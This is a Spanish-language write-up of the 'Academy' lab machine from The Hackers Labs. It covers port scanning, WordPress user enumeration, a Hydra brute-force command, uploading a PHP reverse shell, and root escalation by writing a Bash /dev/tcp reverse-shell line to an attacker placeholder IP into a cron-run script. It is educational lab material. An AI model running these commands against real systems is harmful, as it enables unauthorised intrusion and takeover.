Academy – The Hackers Labs [Write Up]

Continuo con más máquinas de nivel Principiante, y catalogadas dentro de la plataforma de TheHackersLabs como «eJPT» de nivel, y en esta ocasión he querido probar a resolver la máquina llamada «Academy» .

Resumen de conceptos trabajados:

Enumeración de servicios Fuzzing web de directorios ocultos Fuerza bruta contra login web Subida y ejecución de reverse shell (RCE) Enumeración post-explotación Detección de tareas automatizadas con pspy Escalada de privilegios mediante cron mal configurado

Si es tu primera máquina de The Hackers Labs y no sabes cómo empezar a comprometer la máquina, te recomiendo que visites este post donde te cuento paso a paso cómo hacerlo.

Básicamente lo que tienes que hacer es descargarte el laboratorio/máquina de la plataforma, importarla desde tu Virtual Box o VMWare, iniciarla y ya desde tu máquina Kali atacante buscar por la red interna la IP con el comando arp-scan…

El resumen de las tres capturas de imagen anteriores es que:

1. por un lado, mi máquina atacante Kali ha encontrado en mi red una máquina con MAC que empieza por 08 que como sabemos corresponde a máquinas virtualizadas.
2. comprobamos además que la máquina está activa con el mensaje «host is up».
3. por otro lado, confirmamos que esa IP efectivamente es la de nuestra máquina víctima lanzándole un ping y vemos que nos devuelve un TTL de 64 (máquina Linux).

Fase de Enumeración / Escaneo de Puertos

Comenzamos con la fase de reconocimiento y escaneo de puertos y servicios que corren para esa IP víctima.

En estos laboratorios, se suele empezar por un escaneo de puertos por TCP ya que la mayoría de servicios útiles en máquinas de laboratorio (HTTP, SSH, SMB, MySQL, etc.) usan TCP. Si no encontráramos nada por este protocolo, trataríamos de hacer un escaneo con nmap por UDP.

Por tanto, en nuestro caso y para empezar, aplicaremos el siguiente comando nmap por TCP (si quieres conocer el significado de cada comando, te dejo este post donde lo explico):

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.190 -oN Escaneo_TCP

El escaneo nos detecta los típicos puertos abiertos 22 ssh de acceso a usuarios autenticados, y el puerto 80 http donde corre un servidor web.

Conocidos estos dos puertos abiertos de la máquina víctima, lo que hacemos a continuación es enumerar, mediante un script básico de nmap, cuáles son los servicios y versiones que corren para esos puertos.

nmap -sCV -p22,80 192.168.1.190                                                     

Vemos las versiones OpenSSH 9.2p1 para el puerto 22 ssh y el servidor Apache para la versión httpd 2.4.59.

Podemos analizar con searchsploit si hay algún exploit conocido en la BBDD de Exploit-DB pero parece que no hay ninguna pública reportada…

Por lo que mi siguiente paso es analizar la web viendo la IP en Firefox para ver que muestra e investigar potenciales usuarios, etc.

El puerto 80 nos muestra una página Apache por defecto, y en código fuente no encuentro nada relevante, ni robots.txt, ni whatweb, … por lo que el siguiente paso es hacer fuzzing web.

Hacemos fuzzing web usando Gobuster para detectar posibles directorios o ficheros ocultos:

gobuster dir -u http://192.168.1.190/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt 

detectamos un único directorio /wordpress a priori, por lo que vamos a continuar por aquí:

Ese directorio en el navegador nos devuelve lo que parece ser una página web:

Al investigar la web, veo con Wappalizer por ejemplo que la versión del CMS es un WordPress 6.5.3, que corre PHP en el backend , que se hacen referencias a enlaces que apuntan a un dominio http://academy.thl/wordpress/index.php/pagina-ejemplo/y otras referencias al fichero xmlrpc, la versión del CMS (visto en código fuente).

Esto me da varias pistas para continuar…revisar si esa versión de WP es vulnerable a algún tipo de ataque, y que se está aplicando virtual hosting al dominio «academy.thl» que nos puede dar más información vía fuzzing sobre esa carpeta /wordpress en busca de otras vías de entrada, usuarios, etc.

Empiezo por modificar en el /etc/hosts de mi máquina Kali la IP para asociarla al dominio academy.thl , y a continuación lo que haré será fuzzing web sobre ese directorio /wordpress.

Efectivamente nos detecta distintas carpetas y archivos potenciales donde poder continuar:

Un panel de login que redirige a http://academy.thl/wordpress/wp-login.php

La página /wp-content/ nos muestra simplemente un «1» en el visual y la página no tiene más información en el código fuente…por lo que se me ocurre que, sabiendo que estamos ante un WordPress, vamos a utilizar la herramienta WP-SCAN que detecta las tecnologías utilizadas por ese dominio, además de potenciales usuarios, etc.

Este es el comando que usamos para escanear esa carpeta:

wpscan --url http://academy.thl/wordpress/ --enumerate u,vp,t 

Si te salta este mensaje, simplemente actualiza la base de datos con el comando «wpscan –update».

Y ahora sí empieza a analizar…

NOTA: si no tienes instalada la herramienta WP-SCAN en tu equipo atacante, te recomiendo que accedas a su web https://wpscan.com/register/ , te registres (es gratis) y te dan la clave API con usos limitados, pero suficientes para tirar un escaneo en este laboratorio…

Después de un ratillo analizando el directorio /wordpress donde está alojado el sitio, nos reporta mucha información acerca de potenciales vulnerabilidades de plugins, tema, etc, pero lo más importante es que nos detecta un usuario válido llamado «dylan«.

De hecho, si intentamos registrarnos como el usuario dylan al panel de login, la aplicación nos dice que la contraseña para ese usuario no es válida, es decir, que el usuario sí existe.

FUERZA BRUTA CONTRA LOGIN CON HYDRA

Por tanto, en este punto, lo que haremos será aplicar fuerza bruta con Hydra a la ruta del login de WordPress (NO al puerto 22ssh) indicándole el login.php, con ese usuario contra el diccionario rockyou para sacar su potencial contraseña, de esta forma:

hydra -l dylan -P /usr/share/wordlists/rockyou.txt academy.thl http-post-form \
"/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:F=contraseña"

Explicación:

• http-post-form → ataque contra formulario POST
• Ruta → /wordpress/wp-login.php
• ^USER^ y ^PASS^ → placeholders
• F=contraseña → cadena que indica fallo (si aparece, login incorrecto)

Y ya tenemos el usuario y contraseka: dylan:password1 , para acceder al login de WordPress http://academy.thl/wordpress/wp-login.php .

Al acceder con esas credenciales al login, nos muestra este mensaje con el correo de administración de dylan@dylan.es .

Ya estamos dentro del escritorio del sitio web «Mi Web No Hackeable» en WordPress en su versión 6.5.3 .

Vemos en el panel de control que solo hay un usuario, dylan, que es el admin de la web.

REVERSE SHELL RCE

Si seguimos revisando, vemos la funcionalidad «Bit File Manager» que nos permite subir archivos a la web, por lo que a priori tendríamos la forma de intrusión a la máquina, y es mediante la subida de un archivo malicioso php que nos permite ejecutar una reverse shell en nuestra máquina atacante…

Vamos a probar si es cierto. Lo primero es ir a la web de pentestmonkey.net para descargarnos una reverse shell en php:

Una vez la tenemos descargada en nuestra máquina Kali, la movemos al directorio de trabajo /Academy , la descomprimimos, abrimos el directorio y modificamos el fichero php incluyendo nuestra IP atacante (podemos verlo ejecutando el comando «hostname -I» y como puerto el 4444 (por el que luego nos pondremos en escucha con netcat para recibir la shell).

Una vez hemos modificado el php malicioso, lo que hacemos es subirlo al WordPress, por ejemplo, en mi caso lo subí a la ruta de uploads.

Ahora nos queda ponernos en escucha con netcat en nuestra Kali por el puerto 4444 que definimos en el payload, y ejecutar la url ruta donde está alojado el php malicioso dentro del sitio web:

http://academy.thl/wordpress/wp-content/uploads/2026/02/php-reverse-shell.php

Y nos conecta con la máquina y recibimos la shell pero como el usuario «wwwdata».

Para poder navegar en la terminal de forma estable, lo que vamos a hacer es estabilizar la tty, para ello lo que hacemos es ejecutar estos comandos:

1. script /dev/null -c bash
2. Ctrl+Z
3. stty raw -echo; fg
4. reset xterm
5. export TERM=xterm

Y ya como wwwdata estable en la tty vemos que nuestro usuario tiene acceso a una carpeta llamada /opt , la cual contiene un archivo en python que podemos leer y el cual contiene una contraseña del usuario dylan (no wwwdata).

Más allá de esta contraseña, que trato de probar como usuario dylan por ssh y me dice que la contraseña es incorrecta, y después de investigar como el usuario wwwdata, me quedo atascado y no se cómo continuar….me pregunto si habrá algo que se me esté escapando y que quizás se esté ejecutando automáticamente algo como root y no esté viendo…

TAREAS AUTOMATIZADAS CON PSPY64

Es decir, ¿ese archivo anterior backup.py se está ejecutando automáticamente con paramiko?…

Para salir de dudas, lo que hago es descargarme en mi máquina la herramienta pspy64 y detectar así procesos root ocultos …

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

y otorgarle permisos de ejecución con chmod:

chmod +x pspy64

Después lo que haremos será levantarnos un servidor en python3 en nuestra máquina atacante (en la misma ruta donde descargamos la herramienta pspy64) para compartirle a la máquina víctima ese recurso…

python3 -m http.server 8000

En la máquina víctima, nos vamos al directorio temporal por ejemplo /tmp donde haremos la petición por wget a nuestra máquina atacante para compartirnos ese recurso pspy64, y despues le otorgamos permisos de ejecución y lo ejecutamos.

cd /tmp
wget http://IP_ATACANTE:8000/pspy64
chmod +x pspy64
./pspy64

Al ejecutarlo al final vemos que pspy nos revela que el que realmente se ejecuta es /opt/backup.sh . Por eso usamos pspy, porque no sabíamos qué archivo concreto ejecutaba root.

Sin embargo ese fichero backup.sh no está en el directorio /opt como vimos antes, si no que estaba el backup.py …

Por lo que para poder hacer que el cron de la máquina ejecute ese fichero .sh como root, lo que haremos será crear dentro del directorio /opt un nuevo archivo llamado «backup.sh» malicioso para conectarnos en nuestra máquina kali y ganar acceso como root…

Creamos en opt el fichero backup.sh

echo '#!/bin/bash' > /opt/backup.sh

Editamos ese fichero con nuestra IP atacante y el puerto 5555 por ejemplo:

echo 'bash -i >& /dev/tcp/IP_ATACANTE/5555 0>&1' >> /opt/backup.sh

Y después le damos permisos de ejecución.

chmod +x /opt/backup.sh

En nuestra Kali atacante, nos levantamos otro servicio de netcat por el puerto 5555, y esperamos a que el cron ejecute el backup.sh (menos de 1min) y automáticamente se nos abre la shell como root.

Y podemos ver la flag de root

Y si navegamos al directorio /home y entramos en la carpeta del usuario «debian», podemos ver la flag de user.txt también.

RESUMEN DE LA MÁQUINA ACADEMY DE THE HACKERS LABS

Comenzamos con una fase de enumeración donde detectamos únicamente los puertos 22 (SSH) y 80 (HTTP) abiertos. El servicio web mostraba una página por defecto de Apache, por lo que realizamos fuzzing con Gobuster y descubrimos un directorio oculto /wordpress. Después de asociar el dominio academy.thl en nuestro /etc/hosts, analizamos el WordPress con WPScan y logramos enumerar un usuario válido llamado dylan. Mediante fuerza bruta con Hydra contra el formulario de login de WordPress, obtuvimos las credenciales dylan:password1, lo que nos permitió acceder al panel de administración. Dentro del dashboard encontramos el plugin Bit File Manager, que permitía gestionar archivos del servidor. Aprovechamos esta funcionalidad para subir una reverse shell en PHP dentro del directorio /wp-content/uploads/, la ejecutamos desde el navegador y conseguimos acceso inicial a la máquina como el usuario www-data. Tras estabilizar la TTY, comenzamos la enumeración local y detectamos un directorio sospechoso /opt propiedad de www-data, que contenía un archivo backup.py. Aunque inicialmente no parecía explotable, nos hizo sospechar que podría existir alguna tarea automática ejecutándose con privilegios elevados. Para confirmarlo utilizamos la herramienta pspy64, que nos permitió observar procesos en tiempo real sin ser root. Descubrimos que un cron job ejecutaba periódicamente /opt/backup.sh como usuario root. Como el directorio /opt era controlado por www-data, creamos un archivo malicioso backup.sh con una reverse shell en Bash y esperamos a que el cron lo ejecutara. En menos de un minuto recibimos conexión en nuestra máquina Kali con privilegios de root, logrando así el control total del sistema y accediendo tanto a la flag de usuario como a la de root.